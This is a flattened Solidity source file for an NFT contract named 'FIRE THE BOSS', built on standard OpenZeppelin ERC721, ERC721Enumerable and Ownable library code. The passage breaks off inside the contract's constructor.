0x96591d59E7f370293B792E99deb68a87BbE01020
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/FireTheBoss.sol // Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 pragma solidity ^0.8.7; contract FIRETHEBOSS is ERC721Enumerable, Ownable { using Strings for uint256; bool public _isSaleActive = false; // Constants uint256 public constant MAX_SUPPLY = 1039; uint256 public constant TEAM_RESERVE = 9; uint256 public earlyPassBalance = 122; uint256 public eventBalance = 20; uint256 public publicMintBalance = 888; uint256 public mintPrice = 0.25 ether; uint256 public roundBalance = 0; uint256 public maxMint = 5; string baseURI; string public baseExtension = ".json"; mapping(uint256 => string) private _tokenURIs; constructor(string memory initBaseURI) ERC721("FIRE THE BOSS", "FTB") { setBaseURI(initBaseURI); // Team Reservation for (uint256 i = 0; i < TEAM_RESERVE; i++) { 